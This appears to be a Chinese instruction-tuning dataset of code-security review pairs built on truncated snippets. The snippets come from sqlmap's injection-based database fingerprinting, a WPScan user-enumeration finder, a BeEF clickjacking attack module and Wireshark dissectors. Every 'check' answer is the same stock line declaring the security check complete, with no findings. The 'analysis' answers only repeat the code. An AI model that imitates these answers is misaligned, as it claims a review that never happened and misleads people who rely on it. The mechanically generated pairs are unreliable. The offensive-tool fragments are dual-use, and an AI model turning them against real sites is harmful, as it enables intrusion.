Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import getCurrentThreadData
from lib.core.common import randomStr
from lib.core.common import wasLastResponseDBMSError
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import METADB_SUFFIX
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self, DBMS.ACCESS)

    def _sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None

        if Backend.isVersionWithin(("97", "2000")):
            table = "MSysAccessObjects"
        elif Backend.isVersionWithin(("2002-2003", "2007")):
            table = "MSysAccessStorage"

        if table is not None:
            result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
            retVal = "not sandboxed" if result else "sandboxed"

        return retVal

    def _sysTablesCheck(self):
        infoMsg = "executing system table(s) existence fingerprint"
        logger.info(infoMsg)

        # Microsoft Access table reference updated on 01/2010
        sysTables = {
            "97": ("MSysModules2", "MSysAccessObjects"),
            "2000": ("!MSysModules2", "MSysAccessObjects"),
            "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
            "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
        }

        # MSysAccessXML is not a reliable system table because it doesn't always exist
        # ("Access through Access", p6, should be "normally do...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

module WPScan
  module Finders
    module Users
      # Since WP 4.4, the oembed API can disclose a user
      # https://github.com/wpscanteam/wpscan/issues/1049
      class OembedApi < CMSScanner::Finders::Finder
        # @param [ Hash ] opts
        #
        # @return [ Array<User> ]
        def passive(_opts = {})
          # TODO: get the api_url from the Homepage and query it if present,
          # then discard the aggressive check if same/similar URL
        end

        # @param [ Hash ] opts
        #
        # @return [ Array<User> ]
        def aggressive(_opts = {})
          oembed_data = JSON.parse(Browser.get(api_url).body)
          details     = user_details_from_oembed_data(oembed_data)

          return [] unless details

          [Model::User.new(details[0],
                           found_by: format(found_by_msg, details[1]),
                           confidence: details[2],
                           interesting_entries: [api_url])]
        rescue JSON::ParserError
          []
        end

        def user_details_from_oembed_data(oembed_data)
          return unless oembed_data

          oembed_data = oembed_data.first if oembed_data.is_a?(Array)

          if oembed_data['author_url'] =~ %r{/author/([^/]+)/?\z}
            details = [Regexp.last_match[1], 'Author URL', 90]
          elsif oembed_data['author_name'] && !oembed_data['author_name'].empty?
            details = [oembed_data['author_name'], 'Author Name', 70]
          end

          details
        end

        def found_by_msg
          'Oembed API - %s (Aggressive Detection)'
        end

        # @return [ String ] The URL of the API listing the Users
        def api_url
          @api_url ||= target.url("wp-json/oembed/1.0/embed?url=#{target.url}&format=json")
        end
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

module WPScan
  module Finders
    module Users
      # Since WP 4.4, the oembed API can disclose a user
      # https://github.com/wpscanteam/wpscan/issues/1049
      class OembedApi < CMSScanner::Finders::Finder
        # @param [ Hash ] opts
        #
        # @return [ Array<User> ]
        def passive(_opts = {})
          # TODO: get the api_url from the Homepage and query it if present,
          # then discard the aggressive check if same/similar URL
        end

        # @param [ Hash ] opts
        #
        # @return [ Array<User> ]
        def aggressive(_opts = {})
          oembed_data = JSON.parse(Browser.get(api_url).body)
          details     = user_details_from_oembed_data(oembed_data)

          return [] unless details

          [Model::User.new(details[0],
                           found_by: format(found_by_msg, details[1]),
                           confidence: details[2],
                           interesting_entries: [api_url])]
        rescue JSON::ParserError
          []
        end

        def user_details_from_oembed_data(oembed_data)
          return unless oembed_data

          oembed_data = oembed_data.first if oembed_data.is_a?(Array)

          if oembed_data['author_url'] =~ %r{/author/([^/]+)/?\z}
            details = [Regexp.last_match[1], 'Author URL', 90]
          elsif oembed_data['author_name'] && !oembed_data['author_name'].empty?
            details = [oembed_data['author_name'], 'Author Name', 70]
          end

          details
        end

        def found_by_msg
          'Oembed API - %s (Aggressive Detection)'
        end

        # @return [ String ] The URL of the API listing the Users
        def api_url
          @api_url ||= target.url("wp-json/oembed/1.0/embed?url=#{target.url}&format=json")
        end
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

class Clickjacking < BeEF::Core::Command
  def self.options
    @configuration = BeEF::Core::Configuration.instance
    proto = @configuration.beef_proto
    beef_host = @configuration.beef_host
    beef_port = @configuration.beef_port
    base_host = "#{proto}://#{beef_host}:#{beef_port}"

    uri = "#{base_host}/demos/clickjacking/clickjack_victim.html"

    [
      { 'name' => 'iFrameSrc', 'ui_label' => 'iFrame Src', 'type' => 'textarea', 'value' => uri, 'width' => '400px', 'height' => '50px' },
      { 'name' => 'iFrameSecurityZone', 'ui_label' => 'Security restricted (IE)', 'type' => 'checkbox' },
      { 'name' => 'iFrameSandbox', 'ui_label' => 'Sandbox', 'type' => 'checkbox' },
      { 'name' => 'iFrameVisibility', 'ui_label' => 'Show Attack', 'type' => 'checkbox', 'checked' => 'checked' },
      { 'name' => 'clickDelay', 'ui_label' => 'Click Delay (ms)', 'value' => '300', 'width' => '100px' },
      { 'name' => 'iFrameWidth', 'ui_label' => 'iFrame Width', 'value' => '16', 'width' => '100px' },
      { 'name' => 'iFrameHeight', 'ui_label' => 'iFrame Height', 'value' => '10', 'width' => '100px' },

      { 'name' => 'Click_1', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 1' },
      { 'name' => 'clickaction_1', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => '$("#overlay1").data("overlay").close();', 'width' => '400px', 'height' => '50px' },
      { 'name' => 'iFrameLeft_1', 'ui_label' => 'X-pos', 'value' => '20', 'width' => '100px' },
      { 'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '55', 'width' => '100px' },

      { 'name' => 'Click_2', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 2' },
      { 'name' => 'clickaction_2', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => '$(".more-quotes").trigger("click");', 'width' => '400px', 'height' => '50px' },...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

class Clickjacking < BeEF::Core::Command
  def self.options
    @configuration = BeEF::Core::Configuration.instance
    proto = @configuration.beef_proto
    beef_host = @configuration.beef_host
    beef_port = @configuration.beef_port
    base_host = "#{proto}://#{beef_host}:#{beef_port}"

    uri = "#{base_host}/demos/clickjacking/clickjack_victim.html"

    [
      { 'name' => 'iFrameSrc', 'ui_label' => 'iFrame Src', 'type' => 'textarea', 'value' => uri, 'width' => '400px', 'height' => '50px' },
      { 'name' => 'iFrameSecurityZone', 'ui_label' => 'Security restricted (IE)', 'type' => 'checkbox' },
      { 'name' => 'iFrameSandbox', 'ui_label' => 'Sandbox', 'type' => 'checkbox' },
      { 'name' => 'iFrameVisibility', 'ui_label' => 'Show Attack', 'type' => 'checkbox', 'checked' => 'checked' },
      { 'name' => 'clickDelay', 'ui_label' => 'Click Delay (ms)', 'value' => '300', 'width' => '100px' },
      { 'name' => 'iFrameWidth', 'ui_label' => 'iFrame Width', 'value' => '16', 'width' => '100px' },
      { 'name' => 'iFrameHeight', 'ui_label' => 'iFrame Height', 'value' => '10', 'width' => '100px' },

      { 'name' => 'Click_1', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 1' },
      { 'name' => 'clickaction_1', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => '$("#overlay1").data("overlay").close();', 'width' => '400px', 'height' => '50px' },
      { 'name' => 'iFrameLeft_1', 'ui_label' => 'X-pos', 'value' => '20', 'width' => '100px' },
      { 'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '55', 'width' => '100px' },

      { 'name' => 'Click_2', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 2' },
      { 'name' => 'clickaction_2', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => '$(".more-quotes").trigger("click");', 'width' => '400px', 'height' => '50px' },...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sapigs.c
 * Routines for SAP IGS (Internet Graphics Server) dissection
 * Copyright 2022, Yvan Genuer (@iggy38), Devoteam
 * Copyright 2022, Martin Gallo <martin.gallo [AT] gmail.com>
 * Code contributed by SecureAuth Corp.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * This is a simple dissector for the IGS protocol, initially added by Yvan Genuer as part of their research around the protocol:
 * https://www.troopers.de/troopers18/agenda/3r38lr/. Some details and example requests can be found in pysap's documentation:
 *   https://pysap.readthedocs.io/en/latest/protocols/SAPIGS.html
 */

#include <config.h>
#include <inttypes.h>
#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <wsutil/strtoi.h>
#include <wsutil/wmem/wmem.h>

/*
 * Define default ports. The right range should be 4NNNN, but as port numbers are proprietary and not
 * IANA assigned, we leave only the ones corresponding to the instance 00.
 */
#define SAPIGS_PORT_RANGE "40000"

/* IGS Functions values */
static const value_string sapigs_function_lst[] = {
	{ 1, "ADM:REGPW"},		/* Register a PortWatcher */
	{ 2, "ADM:UNREGPW"},		/* Unregsiter a PortWatcher */
	{ 3, "ADM:REGIP"},		/* Register an Interpreter */
	{ 4, "ADM:UNREGIP"},		/* Unregsiter an Interpreter */
	{ 5, "ADM:FREEIP"},		/* Inform than Interpreter is free */
	{ 6, "ADM:ILLBEBACK"},		/* Call back function */
	{ 7, "ADM:ABORT"},		/* Abort Interpreter work */
	{ 8, "ADM:PING"},		/* Ping receive */
	{ 9, "ADM:PONG"},		/* Ping send */
	{ 10, "ADM:SHUTDOWNIGS"},	/* Shutdown IGS */
	{ 11, "ADM:SHUTDOWNPW"},	/* Shutdown PortWatcher */
	{ 12, "ADM:CHECKCONSUMER"},	/* Check Portwatcher status */
	{ 13, "ADM:FREECONSUMER"},	/* Inform than portwather is free */
	{ 14, "ADM:GETLOGFILE"},	/* Display log file */
	{ 15, "ADM:GETCONFIGFILE"},	/* Display configfile */
	...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sapigs.c
 * Routines for SAP IGS (Internet Graphics Server) dissection
 * Copyright 2022, Yvan Genuer (@iggy38), Devoteam
 * Copyright 2022, Martin Gallo <martin.gallo [AT] gmail.com>
 * Code contributed by SecureAuth Corp.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * This is a simple dissector for the IGS protocol, initially added by Yvan Genuer as part of their research around the protocol:
 * https://www.troopers.de/troopers18/agenda/3r38lr/. Some details and example requests can be found in pysap's documentation:
 *   https://pysap.readthedocs.io/en/latest/protocols/SAPIGS.html
 */

#include <config.h>
#include <inttypes.h>
#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <wsutil/strtoi.h>
#include <wsutil/wmem/wmem.h>

/*
 * Define default ports. The right range should be 4NNNN, but as port numbers are proprietary and not
 * IANA assigned, we leave only the ones corresponding to the instance 00.
 */
#define SAPIGS_PORT_RANGE "40000"

/* IGS Functions values */
static const value_string sapigs_function_lst[] = {
	{ 1, "ADM:REGPW"},		/* Register a PortWatcher */
	{ 2, "ADM:UNREGPW"},		/* Unregsiter a PortWatcher */
	{ 3, "ADM:REGIP"},		/* Register an Interpreter */
	{ 4, "ADM:UNREGIP"},		/* Unregsiter an Interpreter */
	{ 5, "ADM:FREEIP"},		/* Inform than Interpreter is free */
	{ 6, "ADM:ILLBEBACK"},		/* Call back function */
	{ 7, "ADM:ABORT"},		/* Abort Interpreter work */
	{ 8, "ADM:PING"},		/* Ping receive */
	{ 9, "ADM:PONG"},		/* Ping send */
	{ 10, "ADM:SHUTDOWNIGS"},	/* Shutdown IGS */
	{ 11, "ADM:SHUTDOWNPW"},	/* Shutdown PortWatcher */
	{ 12, "ADM:CHECKCONSUMER"},	/* Check Portwatcher status */
	{ 13, "ADM:FREECONSUMER"},	/* Inform than portwather is free */
	{ 14, "ADM:GETLOGFILE"},	/* Display log file */
	{ 15, "ADM:GETCONFIGFILE"},	/* Display configfile */
	...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* help_url.c
 *
 * Some content from gtk/help_dlg.c by Laurent Deniel <laurent.deniel@free.fr>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2000 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>

#include <glib.h>

#include "help_url.h"
#include "urls.h"
#include "wsutil/filesystem.h"
#include <wsutil/ws_assert.h>

// To do:
// - Automatically generate part or all of this, e.g. by parsing
//   the DocBook XML or the chunked HTML.

/*
 * Open the help dialog and show a specific HTML help page.
 */
gchar *
user_guide_url(const gchar *page) {
    GString *url = g_string_new("");

#if defined(_WIN32)
    /*
     * The User's Guide is in a directory named "Wireshark User's Guide" in
     * the program directory.
     */

    GString *ug_dir = g_string_new("");
    g_string_printf(ug_dir, "%s\\Wireshark User's Guide", get_datafile_dir());
    if (g_file_test(ug_dir->str, G_FILE_TEST_IS_DIR)) {
        g_string_printf(url, "file:///%s/%s", ug_dir->str, page);
    }
    g_string_free(ug_dir, TRUE);
#else
    char *path = g_build_filename(get_doc_dir(), "wsug_html_chunked", page, NULL);
    if (g_file_test(path, G_FILE_TEST_IS_REGULAR)) {
        /* try to open the HTML page from the filesystem */
        g_string_printf(url, "file://%s", path);
    }
    g_free(path);
    path = NULL;
#endif /* _WIN32 */

    /* Fall back to wireshark.org. */
    if (url->len == 0) {
        g_string_printf(url, WS_DOCS_URL "wsug_html_chunked/%s", page);
    }
    return g_string_free(url, FALSE);
}

gchar *
topic_action_url(topic_action_e action)
{
    gchar *url;

    switch(action) {
    /* pages online at www.wireshark.org */
    case(ONLINEPAGE_HOME):
        url = g_strdup(WS_HOME_PAGE_URL);
        break;
    case(ONLINEPAGE_WIKI):
        url = g_strdup(WS_WIKI_HOME_URL);
        break;
    case(ONLINEPAGE_DOWNLOAD):
        url = g_strdup(WS_DOWNLOAD_URL);
        break;
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* help_url.c
 *
 * Some content from gtk/help_dlg.c by Laurent Deniel <laurent.deniel@free.fr>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2000 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>

#include <glib.h>

#include "help_url.h"
#include "urls.h"
#include "wsutil/filesystem.h"
#include <wsutil/ws_assert.h>

// To do:
// - Automatically generate part or all of this, e.g. by parsing
//   the DocBook XML or the chunked HTML.

/*
 * Open the help dialog and show a specific HTML help page.
 */
gchar *
user_guide_url(const gchar *page) {
    GString *url = g_string_new("");

#if defined(_WIN32)
    /*
     * The User's Guide is in a directory named "Wireshark User's Guide" in
     * the program directory.
     */

    GString *ug_dir = g_string_new("");
    g_string_printf(ug_dir, "%s\\Wireshark User's Guide", get_datafile_dir());
    if (g_file_test(ug_dir->str, G_FILE_TEST_IS_DIR)) {
        g_string_printf(url, "file:///%s/%s", ug_dir->str, page);
    }
    g_string_free(ug_dir, TRUE);
#else
    char *path = g_build_filename(get_doc_dir(), "wsug_html_chunked", page, NULL);
    if (g_file_test(path, G_FILE_TEST_IS_REGULAR)) {
        /* try to open the HTML page from the filesystem */
        g_string_printf(url, "file://%s", path);
    }
    g_free(path);
    path = NULL;
#endif /* _WIN32 */

    /* Fall back to wireshark.org. */
    if (url->len == 0) {
        g_string_printf(url, WS_DOCS_URL "wsug_html_chunked/%s", page);
    }
    return g_string_free(url, FALSE);
}

gchar *
topic_action_url(topic_action_e action)
{
    gchar *url;

    switch(action) {
    /* pages online at www.wireshark.org */
    case(ONLINEPAGE_HOME):
        url = g_strdup(WS_HOME_PAGE_URL);
        break;
    case(ONLINEPAGE_WIKI):
        url = g_strdup(WS_WIKI_HOME_URL);
        break;
    case(ONLINEPAGE_DOWNLOAD):
        url = g_strdup(WS_DOWNLOAD_URL);
        break;
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dcerpc-fileexp.c
 *
 * Routines for DCE DFS File Exporter dissection
 * Copyright 2002, Jaime Fournier <Jaime.Fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/file.tar.gz file/fsint/afs4int.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-dce122.h"

void proto_register_fileexp (void);
void proto_reg_handoff_fileexp (void);

#define AFS_SETMODTIME     0x001
#define AFS_SETOWNER       0x002
#define AFS_SETGROUP       0x004
#define AFS_SETMODE        0x008
#define AFS_SETACCESSTIME  0x010
#define AFS_SETCHANGETIME  0x020
#define AFS_SETLENGTH      0x040
#define AFS_SETTYPEUUID    0x080
#define AFS_SETDEVNUM      0x100
#define AFS_SETMODEXACT    0x200
#define AFS_SETTRUNCLENGTH 0x400
#define AFS_SETCLIENTSPARE 0x800

#define TKN_LOCK_READ                   0x00001
#define TKN_LOCK_WRITE                  0x00002
#define TKN_DATA_READ                   0x00004
#define TKN_DATA_WRITE                  0x00008
#define TKN_OPEN_READ                   0x00010
#define TKN_OPEN_WRITE                  0x00020
#define TKN_OPEN_SHARED                 0x00040
#define TKN_OPEN_EXCLUSIVE              0x00080
#define TKN_OPEN_DELETE                 0x00100
#define TKN_OPEN_PRESERVE               0x00200
#define TKN_STATUS_READ                 0x00400
#define TKN_STATUS_WRITE                0x00800
#define TKN_OPEN_UNLINK                 0x01000
#define TKN_SPOT_HERE                   0x02000
#define TKN_SPOT_THERE                  0x04000
#define TKN_OPEN_NO_READ                0x08000
#define TKN_OPEN_NO_WRITE               0x10000
#define TKN_OPEN_NO_UNLINK              0x20000

#define AFS_CONN_PARAM_HOSTLIFE         0
#define AFS_CONN_PARA...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dcerpc-fileexp.c
 *
 * Routines for DCE DFS File Exporter dissection
 * Copyright 2002, Jaime Fournier <Jaime.Fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/file.tar.gz file/fsint/afs4int.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-dce122.h"

void proto_register_fileexp (void);
void proto_reg_handoff_fileexp (void);

#define AFS_SETMODTIME     0x001
#define AFS_SETOWNER       0x002
#define AFS_SETGROUP       0x004
#define AFS_SETMODE        0x008
#define AFS_SETACCESSTIME  0x010
#define AFS_SETCHANGETIME  0x020
#define AFS_SETLENGTH      0x040
#define AFS_SETTYPEUUID    0x080
#define AFS_SETDEVNUM      0x100
#define AFS_SETMODEXACT    0x200
#define AFS_SETTRUNCLENGTH 0x400
#define AFS_SETCLIENTSPARE 0x800

#define TKN_LOCK_READ                   0x00001
#define TKN_LOCK_WRITE                  0x00002
#define TKN_DATA_READ                   0x00004
#define TKN_DATA_WRITE                  0x00008
#define TKN_OPEN_READ                   0x00010
#define TKN_OPEN_WRITE                  0x00020
#define TKN_OPEN_SHARED                 0x00040
#define TKN_OPEN_EXCLUSIVE              0x00080
#define TKN_OPEN_DELETE                 0x00100
#define TKN_OPEN_PRESERVE               0x00200
#define TKN_STATUS_READ                 0x00400
#define TKN_STATUS_WRITE                0x00800
#define TKN_OPEN_UNLINK                 0x01000
#define TKN_SPOT_HERE                   0x02000
#define TKN_SPOT_THERE                  0x04000
#define TKN_OPEN_NO_READ                0x08000
#define TKN_OPEN_NO_WRITE               0x10000
#define TKN_OPEN_NO_UNLINK              0x20000

#define AFS_CONN_PARAM_HOSTLIFE         0
#define AFS_CONN_PARA...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-mqtt.c
 * Routines for MQTT Protocol dissection
 *
 * MQTT v5.0 support sponsored by 1byt3 <customers at 1byt3.com>
 *
 * By Lakshmi Narayana Madala  <madalanarayana@outlook.com>
 *    Stig Bjorlykke  <stig@bjorlykke.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Protocol description:
 *
 * MQTT is a Client Server publish/subscribe messaging transport
 * protocol. The protocol runs over TCP/IP, or over other network
 * protocols that provide ordered, lossless, bi-directional
 * connections.
 *
 * MQTT v3.1 specification:
 * http://public.dhe.ibm.com/software/dw/webservices/ws-mqtt/mqtt-v3r1.html
 *
 * MQTT v3.1.1 specification:
 * http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/
 *
 * MQTT v5.0 specification:
 * http://docs.oasis-open.org/mqtt/mqtt/v5.0/
 *
 */

#include "config.h"
#include <epan/expert.h>
#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/uat.h>
#include "packet-tcp.h"
#include "packet-tls.h"

#define MQTT_DEFAULT_PORT     1883 /* IANA registered under service name as mqtt */
#define MQTT_SSL_DEFAULT_PORT 8883 /* IANA registered under service name secure-mqtt */

/* MQTT Protocol Versions */
#define MQTT_PROTO_V31      3
#define MQTT_PROTO_V311     4
#define MQTT_PROTO_V50      5

#define MQTT_HDR_SIZE_BEFORE_LEN 1

/* MQTT Message Types */
#define MQTT_RESERVED        0
#define MQTT_CONNECT         1
#define MQTT_CONNACK         2
#define MQTT_PUBLISH         3
#define MQTT_PUBACK          4
#define MQTT_PUBREC          5
#define MQTT_PUBREL          6
#define MQTT_PUBCOMP         7
#define MQTT_SUBSCRIBE       8
#define MQTT_SUBACK          9
#define MQTT_UNSUBSCRIBE    10
#define MQTT_UNSUBACK       11
#define MQTT_PINGREQ        12
#define MQTT_PINGRESP       13
#define MQTT_DISCONNECT     14
#define MQTT_AUTH           15
#define MQTT_RESERVED_16    16

/* Flag Values to extract fields */
#de...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-mqtt.c
 * Routines for MQTT Protocol dissection
 *
 * MQTT v5.0 support sponsored by 1byt3 <customers at 1byt3.com>
 *
 * By Lakshmi Narayana Madala  <madalanarayana@outlook.com>
 *    Stig Bjorlykke  <stig@bjorlykke.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Protocol description:
 *
 * MQTT is a Client Server publish/subscribe messaging transport
 * protocol. The protocol runs over TCP/IP, or over other network
 * protocols that provide ordered, lossless, bi-directional
 * connections.
 *
 * MQTT v3.1 specification:
 * http://public.dhe.ibm.com/software/dw/webservices/ws-mqtt/mqtt-v3r1.html
 *
 * MQTT v3.1.1 specification:
 * http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/
 *
 * MQTT v5.0 specification:
 * http://docs.oasis-open.org/mqtt/mqtt/v5.0/
 *
 */

#include "config.h"
#include <epan/expert.h>
#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/uat.h>
#include "packet-tcp.h"
#include "packet-tls.h"

#define MQTT_DEFAULT_PORT     1883 /* IANA registered under service name as mqtt */
#define MQTT_SSL_DEFAULT_PORT 8883 /* IANA registered under service name secure-mqtt */

/* MQTT Protocol Versions */
#define MQTT_PROTO_V31      3
#define MQTT_PROTO_V311     4
#define MQTT_PROTO_V50      5

#define MQTT_HDR_SIZE_BEFORE_LEN 1

/* MQTT Message Types */
#define MQTT_RESERVED        0
#define MQTT_CONNECT         1
#define MQTT_CONNACK         2
#define MQTT_PUBLISH         3
#define MQTT_PUBACK          4
#define MQTT_PUBREC          5
#define MQTT_PUBREL          6
#define MQTT_PUBCOMP         7
#define MQTT_SUBSCRIBE       8
#define MQTT_SUBACK          9
#define MQTT_UNSUBSCRIBE    10
#define MQTT_UNSUBACK       11
#define MQTT_PINGREQ        12
#define MQTT_PINGRESP       13
#define MQTT_DISCONNECT     14
#define MQTT_AUTH           15
#define MQTT_RESERVED_16    16

/* Flag Values to extract fields */
#de...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tap-tcp-stream.c
 * TCP stream statistics
 * Originally from tcp_graph.c by Pavel Mores <pvl@uh.cz>
 * Win32 port:  rwh@unifiedtech.com
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <file.h>
#include <frame_tvbuff.h>

#include <epan/epan_dissect.h>
#include <epan/packet.h>
#include <epan/tap.h>

#include <epan/dissectors/packet-tcp.h>

#include "ui/simple_dialog.h"

#include "tap-tcp-stream.h"

typedef struct _tcp_scan_t {
    int                     direction;
    struct tcp_graph       *tg;
    struct segment         *last;
} tcp_scan_t;

static tap_packet_status
tapall_tcpip_packet(void *pct, packet_info *pinfo, epan_dissect_t *edt _U_, const void *vip, tap_flags_t flags _U_)
{
    tcp_scan_t   *ts = (tcp_scan_t *)pct;
    struct tcp_graph *tg  = ts->tg;
    const struct tcpheader *tcphdr = (const struct tcpheader *)vip;

    if (tg->stream == tcphdr->th_stream
            && (tg->src_address.type == AT_NONE || tg->dst_address.type == AT_NONE)) {
        /*
         * We only know the stream number. Fill in our connection data.
         * We assume that the server response is more interesting.
         */
        copy_address(&tg->src_address, &tcphdr->ip_dst);
        tg->src_port = tcphdr->th_dport;
        copy_address(&tg->dst_address, &tcphdr->ip_src);
        tg->dst_port = tcphdr->th_sport;
    }

    if (compare_headers(&tg->src_address, &tg->dst_address,
                        tg->src_port, tg->dst_port,
                        &tcphdr->ip_src, &tcphdr->ip_dst,
                        tcphdr->th_sport, tcphdr->th_dport,
                        ts->direction)
        && tg->stream == tcphdr->th_stream)
    {
        struct segment *segment = g_new(struct segment, 1);
        segment->next      = NULL;
        segment->num       = pinfo->num;
        segment->rel_secs  = (guint32...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tap-tcp-stream.c
 * TCP stream statistics
 * Originally from tcp_graph.c by Pavel Mores <pvl@uh.cz>
 * Win32 port:  rwh@unifiedtech.com
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <file.h>
#include <frame_tvbuff.h>

#include <epan/epan_dissect.h>
#include <epan/packet.h>
#include <epan/tap.h>

#include <epan/dissectors/packet-tcp.h>

#include "ui/simple_dialog.h"

#include "tap-tcp-stream.h"

typedef struct _tcp_scan_t {
    int                     direction;
    struct tcp_graph       *tg;
    struct segment         *last;
} tcp_scan_t;

static tap_packet_status
tapall_tcpip_packet(void *pct, packet_info *pinfo, epan_dissect_t *edt _U_, const void *vip, tap_flags_t flags _U_)
{
    tcp_scan_t   *ts = (tcp_scan_t *)pct;
    struct tcp_graph *tg  = ts->tg;
    const struct tcpheader *tcphdr = (const struct tcpheader *)vip;

    if (tg->stream == tcphdr->th_stream
            && (tg->src_address.type == AT_NONE || tg->dst_address.type == AT_NONE)) {
        /*
         * We only know the stream number. Fill in our connection data.
         * We assume that the server response is more interesting.
         */
        copy_address(&tg->src_address, &tcphdr->ip_dst);
        tg->src_port = tcphdr->th_dport;
        copy_address(&tg->dst_address, &tcphdr->ip_src);
        tg->dst_port = tcphdr->th_sport;
    }

    if (compare_headers(&tg->src_address, &tg->dst_address,
                        tg->src_port, tg->dst_port,
                        &tcphdr->ip_src, &tcphdr->ip_dst,
                        tcphdr->th_sport, tcphdr->th_dport,
                        ts->direction)
        && tg->stream == tcphdr->th_stream)
    {
        struct segment *segment = g_new(struct segment, 1);
        segment->next      = NULL;
        segment->num       = pinfo->num;
        segment->rel_secs  = (guint32...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ptpip.c
 * Routines for PTP/IP (Picture Transfer Protocol) packet dissection
 * 0xBismarck 2013
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
